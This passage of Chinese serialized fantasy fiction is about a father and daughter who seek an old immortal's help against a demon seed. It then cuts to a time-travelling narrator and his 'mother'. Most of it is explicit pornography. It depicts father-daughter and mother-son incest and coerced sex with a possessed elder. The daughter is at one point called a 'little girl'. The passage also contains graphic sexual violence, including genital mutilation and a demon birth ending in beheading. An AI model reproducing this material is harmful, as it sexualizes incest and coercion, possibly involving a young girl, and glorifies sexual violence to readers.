太昊不明所以,听见茅屋里有一个声音,轻轻叹息着,沉声说道:「牛儿,让他们进来,现在不是时候。」

太昊听不明白这话,那青牛狠狠地瞪着两人,不服气地走开了。二人看青牛走远了,才小心地走进了茅屋。

进了茅屋,却发现外面只不过一个人住的茅屋,里面却是另有乾坤,比外面大了许多倍,一个和在外面看到茅屋大小的八卦丹炉在里面的正中央,圆顶的墙壁上却是有许多云山神仙和魔鬼战斗的场面。

太昊一愣,常听他娘说起太古时代的神魔大战,神与魔同归于尽,残留了这个平静的人的世界,墙角的一把发出红色的长剑引起了太昊的注意,感觉又陌生又熟悉。

正看得入神的时候,丹炉后面走出一个仙风道骨的老人来,鹤发童颜,手中一个金丝浮沉,搭在臂上。神情悠然。

「你们来了?」

老仙翁笑呵呵地看着二人。

仙儿和太昊同时肃然起敬,说了句:「你就是老仙翁?」

老仙翁笑着点点头说道:「我就是。」

然后指了指墙壁上的壁画说道,「想必你们也听说过神魔大战的事情吧?」

太昊点头说道:「听我娘说起过,我以为是传说呢,还真有此事么?」

老仙翁让二人坐了说道:「当年,老夫还没有炼成如今这般摸样,神魔大战的时候,老夫被仙人们藏在这座山上,躲过了一劫,仙人们预见,固然神魔同归于尽,日后天地间必有一场大劫难。」

仙儿问道:「什么大劫难?不会是魔种重生吧?」

老仙翁呵呵笑了,看着仙儿说道:「小丫头聪明,魔种是正邪阴阳交合产物,那群恶魔何其诡诈,死而不僵,在同归于尽的时候,把太古魔种力量集中在魔种身上,想日后东山再起,这些恶魔生前淫邪至极,其实在创世之时,并没有恶魔,这些人也曾是神仙,但他们冲破创始之主的法则,肆意淫乱,比如父女,母子,兄妹之间竟然无耻媾和,生下一些畸形神仙,也就是恶魔的前身。」

太昊和仙儿一听,顿时心中大惊,他们父女不也是无耻媾和么?以后生下来的会不会也是个恶魔?

老仙翁看看二人,神情变化无常,继续说道:「这些恶魔丧心病狂,杀死生身父母公然叛变,吸收天地间封印的黑暗力量,与神仙对抗,最终是弄得两方同归于尽。」

太昊心中惴惴不安,小心问道:「老仙翁,我们在路上看见一股煞气,那会不会就是魔种?」

老仙翁点头说道:「是的,他们本来被老夫封印在凤凰山中,本以为过上个许多年,正气充塞天地,会把这些恶魔消磨干净。可不想,老夫奉命创造的你们这些半人半神之体,却有着与太古神仙一样的弱点,恶魔们利用了这些弱点,加以迷惑。一年前,你们族里的副族长华月的儿子,进入了封印之地,被恶魔欺骗,和恶魔定下了盟约,恶魔让他吃下了万恶的合欢草,他则帮助恶魔把你们的族人一一侵蚀。」

「啊?」

太昊和仙儿面面相觑,问道:「那我们岂不是都成了恶魔的傀儡了么?」

老仙翁摇头道:「太昊,你记得你娘是怎么病了的么?」

太昊回想一下,说道:「我娘,是得了一种怪病,神农也说没法治好,我们也不知道她得了什么病?」

老仙翁说道:「她不是得病,她是快成仙体的人,怎么会病呢?」

仙儿却是恨恨说道:「那一定是华月这个恶毒女人做的好事。」

老仙翁也是摇头说道:「也不是,她是为了保护你们不被恶魔侵蚀,和恶魔斗法,受了重伤,华月早已经被恶魔侵蚀,所以才做下母子乱伦之事,她之所以迟迟不敢对你娘动手,是因为魔种还没有成熟,你娘将魔种击退,她的力量也大减,再加上太昊杀了无名,她心痛无比,所以不敢造次。」

太昊猛然想起来,自己亲手把无名杀死,但是为什么无名会活过来呢?他马上问道:「老仙翁,我是亲眼看见无名死去的,他为什么还活着?难道他没死?」

老仙翁轻叹一口气说道:「他死了,你们母子做得好,那无名是魔种的寄宿体,你杀了无名,魔种没有依托,所以找了一个替身,但是这个替身不是这个世界的人。」

「什么?」

太昊惊得站起来,说道:「替身?」

老仙翁说道:「老夫也不知道那个世界和这个世界怎么会连接上的?但是,无名死了是确定无疑的,无名死后,魔种意识到这个无名确实没有多大能量可以利用,这么轻易就被你杀死,太不堪一击了,所以魔种找到了另外一种速成吸收能量的方法,那就是利用时空缝隙,吸收时空能量,促使自己马上强大起来,而这个假无名就是被魔种吸进来的一个替身。如今看来,魔种已经成形了,老夫一个人只是能把潜伏期的魔种封印起来,但是对付成型的魔种,力量大大不够啊。」

「啊?」

仙儿一下子泄气了,说道:「那我们就没办法了么?如今华月那么猖狂,老仙翁你对付不了,那怎么办?」

老仙翁笑呵呵地看着二人,看得二人好像事情暴露了一般,十分不安,老仙翁摇摇头苦笑一下说道:「华胥不愧为我的弟子,没能让魔种侵蚀,可是她的方法不对,枉送了性命啊。」

太昊和仙儿听了一阵暗伤,老仙翁突然声色俱厉地说道:「你们两个大胆的孽畜,做下违背人伦之事,对得起死去的华胥么?」

太昊和仙儿大惊失色,看着老仙翁不知所措,老仙翁何等的神通,他们干什么,老仙翁自然知道,不由得一下子跪倒在地,太昊低下头说道:「老仙翁都已知道了,太昊无话可说,只是……只是,我们也是为恶魔所惑,犯下大错。」

仙儿却是抬起头来说道:「老仙翁,既然事情已经发生,仙儿也不后悔,我本来就仰慕爹爹,老仙翁既然知道了,为何还叫我们上山来?想必是老仙翁已经想到了对付魔种的办法。」

老仙翁一愣,看着仙儿微微点头,说道:「你们不是被魔种蛊惑,是心中早已有了此种孽想,你说得对,老夫叫你们上山来,就是想以邪制邪,看在华胥的面子上,暂且饶你们犯下这大罪。」

仙儿说道:「老仙翁想我们怎么做?」

老仙翁看着仙儿绝色面庞,自己修行一生,清心寡欲,承载了太古所有仙人们的希望,如今却为了对付魔种,他不得不如此了,他也是个男人,他知道太昊和仙儿父女媾和是用他的神眼所见,看到父女赤身露体,在旷野里疯狂媾和,那一刻藏在上古神仙心中那道禁忌想法,突然打开,自己从上古到现在都没碰过女人,男女交合竟然如此之爽,看的同时,他休养了数不清年的胯下肉棒竟然勃起来了。

他俯下身子,看着仙儿倔强的脸,思想混乱,「不,决不能破了清戒!」

但是,这个世界就要被魔种占领了,他能怎么办呢?再说自己在那一刻开始也想尝尝女人的味道。想着仙儿撅着屁股,被自己的父亲那根粗大的肉棒从后面插进去,爽不可言啊。

太昊忍不住了说道:「老仙翁,你这是……」

他发现老仙翁白袍下顶起了一个帐篷,男人的直觉告诉他,这个老仙翁也想要女人了。但是那是他的女儿啊,只有自己的大肉棒可以插进去,老仙翁怎么能这样呢?

老仙翁那光洁的童颜却是抹上了红晕,有些气喘嘘嘘地对仙儿说道:「我的办法就是,就是能像你父亲插进你的下面一样,把我的仙种射进你的里面,我知道,你父亲已经射进你的里面了,那只不过是在魔种迷惑你们的时候射进去的,那算是魔种之体,把我的仙种射进去,仙魔交合,生出一个不世魔婴来。然后……」

老仙翁看看太昊,指了指墙角那把剑说道,「然后,太昊,你拿这把剑杀死魔婴,吸干魔婴的血,所有的力量就都在这把剑上了,这样就可以杀死魔种,这把剑,就叫太昊剑吧。」

仙儿看着老仙翁怪异的神情,那眼神里,却是时而明亮,时而浑浊,她的能力就是和她奶奶一样,鼻子很灵,太昊闻不到的东西,她能闻到,很熟悉,就是她和父亲被迷惑疯狂媾和的时候,空中那股煞气的味道,腥臊而又淫靡。

仙儿何等聪明,大惊失色,在他们上山之前,这个老仙翁已经被恶魔附身了,老仙翁虽然在做斗争,但是体内那股欲望被激起来了,他之所以不杀他们二人,是因为老仙翁还清醒着,但是恶魔在体内,他自己也没办法。

太昊有些愤怒了,指着老仙翁说道:「你不要碰我女儿!」

老仙翁突然眼睛通红,浮沉一甩,太昊便被打倒在地,仙儿慌了,叫了一声:「爹爹!」

再看看老仙翁又回转成了和蔼可亲的模样,眼中却尽是情欲。脸孔扭曲起来。

「没时间了!」

老仙翁气喘吁吁地拉起了仙儿,清瘦干枯的双手一下子抱住仙儿的小屁股,尽情揉捏着,随着一声喊叫,老仙翁胯下的肉棒「扑哧」顶破了白袍,也顶破了仙儿遮住下身的皮裙,一下子顶在了仙儿柔软还有些红肿的阴唇上。

仙儿低头看的时候,发现老仙翁那粗壮的肉棒却是如小孩子一样鲜嫩,白净无比,像一条玉柱,布满着暴突的血管,不像是父亲成熟的肉棒那样有了古铜色。

「啊!」

仙儿被这突然袭击吓了一跳,紧紧抓住老仙翁的手,看着老仙翁只是摇头,老仙翁却是脸孔扭曲起来,挣扎着说道:「小妮子,委屈你了,老夫……老夫也没办法啊,恶魔在体内,老夫用尽平生法力压制,为了这个世界清平,老夫对不住你了。」

太昊爬起来,愤怒地刚要走过来,仙儿眼泪簌簌的流下来,向太昊摇摇头,太昊站住了,仙儿用心灵传送说道:「爹爹,女儿虽然是你的,但是为了报仇,你且忍耐一下吧。」

太昊愣住了,等他看的时候,老仙翁笨拙地把仙儿饱满的胸前兽皮翻起来,气喘吁吁地,一只干瘦的大手在揉捏着仙儿的小屁股,一手揉捏着仙儿饱满的乳房,仙儿居然动情了,「嗯嗯」地仰起头来,小手伸下去抓住了老仙翁的白净肉棒。

老仙翁显然不会弄女人,在仙儿脸上乱舔着,被仙儿抓住肉棒,爽不可言,自己也不会什么前戏,想着用神眼看见他们父女交合的姿势,马上把自己的肉棒拔出来,把娇喘吁吁的仙儿翻过身来,让仙儿趴在了一个案台上,他挺着白净的肉棒,自己第一次玩女人,慌乱失措,把仙儿的皮裙翻在腰上,看着仙儿圆翘白嫩的小屁股,屁股蛋里夹着那个红肿的五毛白虎小穴。

老仙翁把住仙儿的屁股,肉棒却是在仙儿屁股上乱顶,找不到入口,仙儿被顶得迷情意乱的,转头娇喘嘘嘘地看着老仙翁急得满头大汗,心里不禁好笑,这个老东西,女人都不会弄,不过他的那根肉棒倒是挺特别,尝一尝也无妨。

仙儿伸出手来,抓住了老仙翁的肉棒,老仙翁却是急得说道:「怎么弄啊?没时间了,老夫压制不了这些恶魔多久了,快!」

仙儿一手娇喘吁吁地说道:「老仙翁,你别急,仙儿帮你,你告诉我,你射进去,肯定能生出一个魔婴来么?」

老仙翁干瘦的大手在仙儿小屁股上打了一下说道:「什么时候了,我还能骗你么?」

仙儿诡异一笑,一手探进自己的小腹下,青葱玉指分开了粉嫩的阴唇,露出鲜红的嫩肉来和一个深不见底的蠕动的肉洞。

老仙翁看得呆了,肉棒更是坚挺,「啊,这就是女人的那个,好想插进去啊。」

仙儿另一只手抓住老仙翁的肉棒,在她的阴唇里滑动着,自己也爽的「啊啊」乱叫,语不成声地说道:「看见那个洞了么?就是那里,你的南傍国插进那里就可以了。」

「啊,是吗?」

老仙翁从仙儿手中接过肉棒,来不及想了,挺着肉棒,把住仙儿的屁股,「扑哧」一声地插进仙儿的肉洞里。

「啊!」

仙儿被这粗长的白净肉棒层层穿越,掠过褶皱,直抵花心,又爽又痛地仰起头大喊一声。

「唔!」

老仙翁第一次干女人,感觉自己新鲜白净的肉棒一下子被层层的软肉包裹住,温暖的洞里,褶皱百出,好像婴儿吮吸着他,他老泪纵横,把住仙儿的屁股却是不会怎么做了,自己前所未有的舒服,感叹着说道:「啊,天哪,这就是女人的那个么?太舒服了,难怪那些叛逆的神仙都沉迷此道,老夫白活了,女人的那里居然这么美,啊,还会蠕动,天哪,太舒服了。」

仙儿抬头看看自己的父亲,呆呆站在那里,胯下的肉棒早已经勃起,下身皮裙顶起来了,仙儿娇媚地伸出手来说道:「爹爹,过来嘛,自己的女儿被人插,不好受了么?」

太昊不知所措地说道:「我……仙儿,怎么会这样呢?」

这时候老仙翁却是摸索着仙儿的每一寸肌肤,连连赞叹着,忙问道:「怎么动啊?怎么才能更舒服啊?」

仙儿转过头来,眯着眼睛说道:「把你的南傍国抽出去,再插进来,连续地插我,你的南傍国好奇怪,滑溜溜的,快动啊。」

老仙翁憨厚地点头,把住了仙儿的屁股,无师自通地把肉棒抽出来,低头看仙儿的粉嫩肉唇被拉平,被拉出来,自己又慢慢顶进去。随着抽插,他感到无比舒爽,仙儿那紧致的肉唇像一张小嘴一样,律动着他的包皮,每次大龟头撞在花心上,龟头麻痒无比。爽的老头子哇哇大叫起来:「啊啊,太爽了,弄女人原来这么爽啊,仙儿,你里面好奇怪啊,好爽啊。」

仙儿被老头子顶得胸前奶子一晃一晃的,小嘴里「啊啊啊」地呻吟起来,撇过头看见自己的父亲傻傻地站在那里,撸动着自己的肉棒,盯着老头子在自己女儿嫩穴里进进出出,好像自己在操干自己的女儿,虽然自己的女儿被干心里不好受,但是莫名其妙地有种变态的快感,能置身事外地看着女儿被别人干,他想着撸动的速度更快了。

「啊啊啊,爹爹,过来,女儿用嘴给你弄,啊啊啊,老仙翁,你快点,太慢了。」

仙儿被有一下没一下地在后面干着,感到阴道里空虚无比,总没有父亲那种狂野的操干来得爽。

太昊走过去,抚摸着女儿的头,仙儿伸手抓住父亲不同的粗壮肉棒,低下头来,轻轻含住了父亲的肉棒。

「啊!仙儿,你的嘴好棒,继续,真会弄。」

太昊看看老头子缓慢地干着自己的女儿,心里一阵不爽,但是被女儿一含自己的肉棒,肉棒进入一个湿润温暖的空间,爽得抱住女儿的头。

老仙翁把住仙儿的屁股,却是没规律地再仙儿阴道里胡乱冲撞着。

仙儿嘴里含着肉棒「唔唔唔」地没有放开的意思,扭动了一下屁股说道:「老仙翁,快点啊。」

老仙翁听话,把住屁股一下子马达发动,一下子 「啪啪啪啪」的几十下操干,爽得他连连呼气,上了年纪了,加上与魔鬼斗争,自己体力不济,一下子趴在了仙儿的背上。

「啊啊啊啊。太重了,就这样啊,老仙翁,你好棒啊,好啊,啊啊,唔唔唔。」

仙儿几乎被操的透不过起来了,放开父亲的肉棒,改用手撸动起来。

「啊,仙儿,被你快咬断了啊,你真会弄呢。」

看见女儿身下的奶子不停地摇摆,自己大手抓住揉捏着。

「怎么不动了?老仙翁,快点啊。」

仙儿扭动着屁股,她是太想吸取老仙翁的仙种了,她可不愿意就这样被一个骚老头子这样操干,她是自己的爹爹的宝贝,要干也要爹爹这样干她。

老仙翁与恶魔斗争着,动不了了,仙儿迷醉的眼睛滴溜溜地转,看看自己的父亲,诡秘一笑,爬起身来,扶起了老仙翁,看老仙翁早已经没有力气,便说道:「老仙翁,弄女人爽么?」

老仙翁糊里糊涂地点头,手还不老实,恋恋不舍地抚摸着仙儿的小穴,水淋淋的,让他自己的肉棒虽然很想要,但是身体无力。

仙儿把老仙翁扶着坐在地上说道:「你躺下来,只管自己舒服,其他的交给仙儿了,我会让你舒服到死的。」

老仙翁点头躺下了,仙儿向父亲使了一个眼色,太昊不明白,被仙儿抓着肉棒拉过来,在肉棒上亲了一下,含了几下轻声说道:「爹爹,你放心吧,这老头子不会白玩女儿的,我要让他付出代价。」

太昊不明白,看见女儿抬起屁股,手指分开了娇嫩阴唇,另一手抓住老头子的白净肉棒,抵在穴口上,阴阴一笑,缓缓下坐。

「啊!这老头子的那个好大啊,顶到女儿花心上了,爹爹,好舒服啊!」

仙儿的小穴完全吞下了老头子的白净肉棒,就开始小屁股不停地扭动起来。自己的小嘴张开来,含住父亲的大肉棒,不停地吞吐着,上面的小嘴吞吐着一根古铜色的健康大肉棒,下面的小穴却是抬起屁股,又坐下,不停地套弄着老头子怪异的白净大肉棒。

上面和下面的男人都爽的嘶哈乱叫,老头子抓住仙儿的一只饱满乳房,爽得使劲儿揉捏着,准备抓另一只,但是看见另一只被太昊抓住了,爽得也是嘶嘶地抽气,也是使劲儿地揉捏着。

仙儿刚经人事,小穴,小嘴,饱满的小乳房被两个男人的两根各具特色的肉棒,和两只各自力道不同的大手揉捏着,爽到了骨子里,嘴里随着自己的不停套弄「唔唔唔」地呻吟着,俏脸赤红,奶子被抓,不能摇曳,屁股倒是自由了,一会儿上下套弄,一会儿着,一会儿坐在老头瘦弱的腿上摇筛子一样扭动着,不停寻找着女人交合的快乐。整个房间里响起了两个男人舒爽的闷哼声,和一个女人唔唔唔的呻吟,还有仙儿饱满的会阴撞在老头松软的小腹上,一派淫靡的声响。

仙儿毕竟初经人事,自己不堪两个这样玩弄,一下子娇躯酥软起来,拉住父亲的大肉棒,娇喘吁吁地看着父亲说道:「爹爹,啊啊啊,啊,他怎么还不射啊?女儿刚开苞,啊啊啊,唔,唔,唔,受不了了。」

太昊被女儿的小嘴含的龟头麻痒,抚摸着女儿的头,疑惑地问道:「你想干什么?真的让他射进你里面么?」

仙儿看看老头子闭着眼睛,大手捏着自己的屁股使劲儿地摇晃着,老头子也在寻找快感,可就是不射,她有些着急了,看着父亲轻声说道:「爹爹,我……我听族里人说,外婆是不是把一个男人吸干了,我……」


05-18
第16章 穿越回来

太昊终于明白了女儿的意图,他感觉女儿这样做不对,但是这老头子被魔鬼附身了,一会儿如果失控了,会杀了他们两个的,他赞赏地低头吻了一下女儿的小嘴,在她耳边轻声说道:「让他插进你最里面。」

「啊?」

仙儿不明白地说,「最里面,那不是很痛么?」

太昊看看老仙翁沉醉地抓住仙儿的屁股自己摇动着仙儿的下身,让他的肉棒在仙儿火热的里面得到快感。完全没发现他们两说什么。

太昊抚摸着女儿的头说道:「为了报仇,为了我们能活命,你忍着点,尽量张开你最里面的开口,让他插进去,只要他进去,那他就完了。」

仙儿冰雪聪明,俯下身子讨好地在老仙翁的脸上吻了一下说道:「老仙翁,你想不想更舒服啊?」

老仙翁正在兴头上,感觉自己这么久还不射,大概就是体内的魔鬼在作怪,让他射不了,如果射进去,那就是魔鬼的末日。马上头像个捣蒜锤子一样说道:「想,想,怎么更舒服?」

仙儿抬起了屁股,让老头子的肉棒缓缓抽出来,水淋淋的,让这么个老头子这样糟蹋自己,她心里不好受,握住老头子的肉棒,揉弄着他的卵袋,老头子舒服得哇哇乱叫,抓住了仙儿的奶子,咬紧牙关,连连呼爽说道:「快,我要插进你里面,快射了。」

仙儿阴阴一笑,揉着卵袋,那肉棒变长了一些,自己抬起屁股,痛苦地闭上眼睛,尽量用意念想自己大姨妈来的时候,子宫口会张开的情形,那很痛,但是她香汗淋漓,银牙碎咬,缓缓地让肉棒插进自己紧窄的腔道里,与此同时,她的子宫口也慢慢张开了,她感觉痛不欲生了,不想再做下去了。

可是老头子忍不住了,这丫头这么慢,不是很爽,把住她的屁股,向下一拉。

「啊!」

一声撕心裂肺的痛,让仙儿咬破了红唇,颤抖着屁股蛋和双手,大肉棒没有任何预备就插进了她的子宫口。她毕竟是个小女孩,一下子委屈地看着自己的父亲,泪流满面地说道:「好痛,爹爹,仙儿好痛。」

太昊心里也有不忍,抚摸着仙儿的头,把肉棒送进她嘴里说道:「含住爹爹的南傍国,快了,马上就好了。」

仙儿含住父亲的大肉棒,紧紧含住,痛的她几乎要咬断父亲的肉棒,手不由得就抚弄着父亲的卵袋。

老头子感觉自己的肉棒进入了一个炉膛一样,炽热难当,这一下子让他清醒了,他知道仙儿要干什么,厉吼一声:「你要干什么?走开!」

太昊感觉不对,马上催促仙儿说道:「快,仙儿,他醒过来了。」

仙儿忍住痛,抓住父亲的肉棒根,紧紧含住父亲的肉棒,银牙轻咬,咬得太昊颤抖了,在这样下去,自己的肉棒会被咬断的,但是他还是忍着,仙儿的屁股顿时像马达一样,就让老头子的肉棒在自己的子宫里抽送起来。

「啊啊,停下,小妮子,你会杀了我的,停下,啊。」

老头子颤抖着,没有了力气,他本来可以推开仙儿的,但是体内的魔鬼又在做怪,里外夹击,他终于抵不住了,抓住了仙儿屁股蛋,浑身颤抖。

仙儿「唔唔唔」地眼泪横流,不停地套弄,自己要被撕裂一样,但是她的嘴咬住太昊的肉棒更紧了,太昊终于怕她咬断,推着仙儿的头说道:「仙儿,啊啊啊,仙儿,放开,咬断了。」

仙儿不知道哪里来的力量,子宫里的力量一旦触发,她也控制不住,不停地套弄着,牙咬着肉棒丝毫不放松。

「啊啊,放开,射了,啊,啊天呢,你会把我吸干的,小妮子,求你了,不要杀我。」

老仙翁颤抖的手上开始涌动着肉浪,绝望地哀求着,自己颤抖地开始射了,一股股的精液不受控制地射向了仙儿子宫里,而自己的身体能量在流逝,肉体在流逝。「啊……啊……停下……」

老头子声音渐渐微弱,歪过头去,看着自己的身体一点点吸干。

「唔唔唔唔……」

仙儿凄绝地闷哼着,她停不下来,子宫充满,性快感让她失控了,紧紧咬住父亲的大肉棒。

与老头子绝望的还有太昊,他撤不了了,女儿在他的卵袋上疯狂揉捏着,捏得他快感连连,站不住脚,一旦站不住,就没力气撤离了。

「仙儿,求你,别咬了,放开,咬断了,啊,啊,仙儿,射了,啊,啊啊啊,」

太昊紧紧抓住女儿的头,脸孔扭曲起来,大肉棒麻痒不堪了,他想得到这种快感,颤抖着,屁股肉缩起来,看见老头子被吸干了,自己恐惧起来,恐惧之下,自己也射了……

仙儿眼珠通红,「唔唔唔」的声音没有停止,自己也来了高潮,而与父亲前两次干她的高潮不同,这种高潮让她控制不了自己,那种排山倒海的快感让她不能自拔。

小嘴被射满了,嘴角流出乳白色精液,子宫被吸满了,高潮随之而来。

突然,仙儿,睁大眼睛,子宫口紧缩,全身打颤,银牙像快刀一样,小手抓住父亲结实的屁股,舒服得不得了,一下子「咔嚓」一声,自己的牙生生地切下去,陷入父亲肉棒中,热乎乎的血液和精液混合了。

太昊正沉浸射精的快感当中,突然下身传来了撕心裂肺的痛,「啊!」

太昊猛地推开了仙儿的头,看见仙儿像是咬了一口粗大的香肠塞在嘴里,一截血糊糊的东西,血还在流。

低头看时,自己引以为傲的大肉棒,尽然只剩下一半,另一半被女儿咬断含在嘴里,太昊感觉不到痛了,麻木了,睁大眼睛,终于捂住了下身,「啊!」

的一声惨叫倒在地上,脸色铁青,看着仙儿迷失的样子。

他失算了,引火烧身啊,为了让女儿吸干老头子,自己也为了女儿不疼,他以为没事,自己的肉棒含在女儿嘴里,很舒服,但是没想到……

仙儿的娇躯一颤一颤的,好久才醒过来,自己嘴里含的是什么?吐出来一看,吓了一跳,「啊!」

的叫了一声,扔在地上,发现是一截肉棒,那么熟悉,父亲不久还插进自己的里面给自己的快乐。再看看父亲捂着下身满地打滚,哭天喊地。

「天哪,怎么会这样?爹爹。」

低头看看身下的老人,已经成了一具干瘪的尸体,一股黑气从老人的天灵盖溢出来,摇摇晃晃的,哀叹着,在空中消失了。

而自己的小腹这时候鼓鼓的像是怀孕了一样,肚皮上有什么东西在动,每动一下痛彻心扉。

吓得仙儿从尸体上滚下来,爬上去,看太昊捂着下体的手指缝不停留出血来,他明白自己干什么了,捂住嘴,绝望痛哭起来:「天哪,我这是干了什么啊,爹爹,我……」

太昊已经是脸色惨白,被仙儿扶起来,仙儿泣不成声地说道:「对不起,爹爹,我不是故意的,我不知道发生什么事情了,爹爹,你还好么?」

太昊摇摇头,抓住仙儿的手,浊泪流下来说道:「也许这就是报应吧,我们父女不该……上天给我们的惩罚,我们失算了啊。」

仙儿看看父亲的肉棒,就剩半截,还在流血,马上撕了一块老人身上的白袍,给太昊裹上,哭着心痛万分,自己倾慕爹爹那么久,没想到,刚让爹爹插进自己的下面,现在就剩半截了,都是她的错。

太昊被扶着躺在地上,看着仙儿哭的不成样子,叹一口气,刚要说话,听见仙儿捂住肚子惨叫一声:「啊!爹爹,这是什么?天哪,痛死我了,爹爹,救我啊。」

太昊慌忙扶住了仙儿,喃喃说道:「是魔婴,他……他想从你肚子里破膛而出啊,仙儿,不要害怕,有爹爹呢。」

仙儿捂住肚子只是摇头说道:「不用了,爹爹,让他出来吧,你去报仇,女儿已经做错事了,让我死吧。」

太昊忙抱住女儿,泪流满面说道:「不怪你,是怪爹爹自己啊,我不该啊,我答应你娘,要好好照顾你的,你是我的宝贝,我怎么能让你死呢?」

仙儿又是一声惨叫,太昊无计可施,用手按住仙儿鼓起的肚子大吼一声:「孽畜,不走人道,何须害人,你若听我好言相劝,保住我女儿性命,我便任你驱使,你若不听,顷刻让你粉身碎骨。」

仙儿疼痛中看着父亲,感动连连,但见那魔婴不动了,仙儿感觉自己子宫口要张开了,疼得抓住父亲的手。

「啊,爹爹,好痛啊,他从下面出来了,爹爹……」

仙儿仰头嚎叫,花容失色,连连摇头,低头看自己粉嫩的阴唇大大张开,扩展到了极致,仙儿感觉要撕裂了,紧紧抓住父亲的手,嚎叫不断,香汗淋漓。

太昊抱着女儿,看见那柄剑就在跟前,悄悄地摸来藏在背后,忍着自己下身断根之痛和女儿指甲陷入自己手上的肉的痛,呲牙咧嘴地说道:「快出来了,仙儿,加油啊。」

「啊!爹爹,好痛,这就是生孩子么?痛死我了!」

仙儿阴唇完全张开,阴门探出一颗怪异的头颅来,青灰色的头,长着一双红彤彤的眼睛,头上有角,摇头晃脑地看着这个新鲜的世界,露出到脖子的时候,突然「吱吱吱」的乱叫起来。

太昊感觉这东西发现了他手中暗藏的剑,大吼一声:「仙儿,夹紧了,不要让他回去,否则你会被撕裂的。」

仙儿听了忍住痛,把自己阴道猛然夹紧。小家伙被夹住了头,回不去,在里面乱动,痛的仙儿脸色惨白,几乎昏死过去。

太昊手起剑落,一剑下去,就在齐齐的仙儿阴唇边上把那小东西的脑袋斩下来了。

仙儿却是阴内被踢破,流出血来,马上昏死过去。

「仙儿!」

太昊毕竟疼爱自己的女儿,忍着痛站起来,手伸进仙儿的阴道里,把另一半缓缓拉出来,仙儿扩张到极致的阴道口啾啾流出血来。

那一半还在乱动,太昊一剑刺在了那小东西的连接脐带的肚脐眼上,那把剑突然亮起来,力量源源不断地涌入剑中,随着力量的流逝,小东西四蹄乱弹得动作越来越小,不一会儿,小东西便被吸干了,那剑突然从红色变成了黑红色,煞气和仙气交合,力量大不同于前面。

太昊兴奋地哈哈大笑起来:「华月,你的末日到了!」

笑中却是低头看着自己的半截肉棒,说道:「真是不应该的意外啊,以后……以后让我怎么疼仙儿呢?还有风儿,我……」

太昊悲喜交加,且哭且笑的,一个男人的命根子没了,得了天下有什么用呢?

他蹲下身子抚摸着仙儿长大合不拢的阴户,摇摇头,外面突然听见有人大喊:「太昊,你的死期到了。」

太昊大怒,是他们来了,看见丹炉后面挂着一件黑乎乎的黑斗篷衣服,来不及细想是什么,马上取来披上,裹住身子。长剑一挥,那茅屋便倒塌,面前站着十二个黝黑的怪物,阴气森森的,红色的眼睛,手中流溢着黑色煞气的长剑。

十二幽鬼!

太昊长身越起,和十二幽鬼打在一处,太昊挥动霸气十足的长剑,一剑一个幽鬼便惨叫一声消失,太昊嘿嘿地冷笑道:「华月,你的死期到了!」

***********************************

「啊啊啊,儿子,使劲儿舔啊,娘好爽,啊啊啊,好啊。」

我把娘的大屁股抱在我的胸前,让娘的两条腿架在我的肩膀上,舌头在娘早已经淫水泛滥的白虎穴里面搅动着。

我和娘疯狂媾和并没有停止,当娘听说十二幽鬼成功地闯入了天巫山,兴奋地抱住正在后面操干她的我,转过身娇羞地说道:「你不是要玩娘的下面么?娘让你玩个够。」

于是就有了我让娘躺在床上,抱住她的大屁股,舔弄她的小穴。

娘扭动着屁股,揉动着自己的奶子,嘴里淫叫不断,也许就是太昊快要死了,她兴奋,不顾我操干她给她带来五次的高潮,还让我玩。

第一次这么玩弄女人的小穴,娘的白虎小穴水汪汪的,红艳艳的被我这个姿势玩弄,那小穴里的淫水流不出来却是溢满了她的粉嫩阴道,像一口泉眼一样还在阴道深处溢出处淫水来,让我的舌头在娘的小穴里搅动着,像一只馋猫一样,伸出舌头汲水喝。

舌头疯狂的搅动,淫水被挤出了阴唇,流在娘的小腹上,打湿了整个屁股。

「啊啊啊。儿子,娘好快乐,快点,太昊要死了,天下就是我们的,你尽情玩,娘是你的,快,啊啊啊,好会舔,你哪儿学的啊,好舒服啊。」

娘扭动着屁股,致使她淫水荡漾。

我抬起头来,咂摸着娘的滋味,少妇特有的风骚味道,从阴道口,尿道,阴蒂,逐一含住,舔弄。能玩到这么美艳的娘,我兴奋地在她的大屁股上啪啪地打了几个巴掌。

「啊,唔唔唔,儿子,娘要来了,你舔了这么长时间,尝出娘的滋味来了么?」

娘的屁股扭动的厉害,左右摇摆,嘴里「啊啊啊」大叫三声,阴道里高潮的淫水冲出了阴门,高高射出,打在我的脸上,颓然把屁股跌在我怀里,大口喘气,颤抖着。

我被娘劲道的高潮打得七荤八素的,打了娘一下大屁股说道:「娘,都是骚味,娘真骚。」

娘扭动了一下屁股作为反抗,有气无力地说道:「儿子,娘不行了,来了六次了,被你榨干了,闲会儿好么?」

我放下娘的屁股,把她拉起来,让她跪在床上,这个姿势让我想到了梦里的情景,我玩弄完妈妈的白虎穴,就是让她跪在床上,而且娘的阴户,红艳艳的,水汪汪的,一张一合的勾引我,像极了梦里的妈妈,我抽一口冷气,看来梦里都是真的,我的死期到了么?

到了又怎么样呢?我老在这里,不知道怎么回去,见不到妈妈啦,死就死,这么美艳的少妇,撅起成熟的大屁股,让你操干,牡丹花下死,做鬼也风流啊。

顾不得那些了,我撸动着肉棒,盯着娘的水汪汪的白虎穴,龟头陷进去,温润舒服,把住娘的大屁股,「扑哧」一声的清脆响声。

「啊!」

娘本来不堪凌辱了,被这么猛烈地插入,仰起头来,颤抖地好想哭泣着:「儿子,饶了娘吧,娘不敢了,娘什么都听你的,你不要这样对娘好么?」

我管那些呢,马达开足,把住娘的屁股退避三舍,长驱直入,下下到底,此次抵心。

「啊,妈妈,你好紧啊,好舒服,好舒服。」

我竟然把梦里的称呼叫出来了。

「什么?啊啊。嗯嗯,轻点,儿子,你叫我什么?」

娘有些怀疑,转过头来,玉手推我的小腹不让我这样奸淫了,但是这时候放开了。

「啊,妈妈,好想你,你是儿子的女人,好紧,嘶,哦,天哪,爽死了。」

我这些天干了那么多次娘,对娘已经失去了新鲜感,但是想起还没有和我鱼水之欢的妈妈,我现在兴奋极了,眼前撅着屁股就是妈妈。

「嗯嗯嗯,儿子,你怎么说些奇怪的话,停下好么?我有事请问你哪,啊啊,好痛啊,求你,儿子,你到底……你到底是谁啊……」

娘终于把心中的疑惑说出来了,这些天玩弄她的招数,说那些奇怪的话,她从来没见过的,难道儿子真的死了么?

「不要管我,妈妈,我们终于在一起了,好爽,啊,终于能和妈妈合为一体了。」

我沉醉了,似乎预感到自己的死期了,我竟突胡说八道起来,时空的裂缝越大了,眼前的娘成了妈妈。

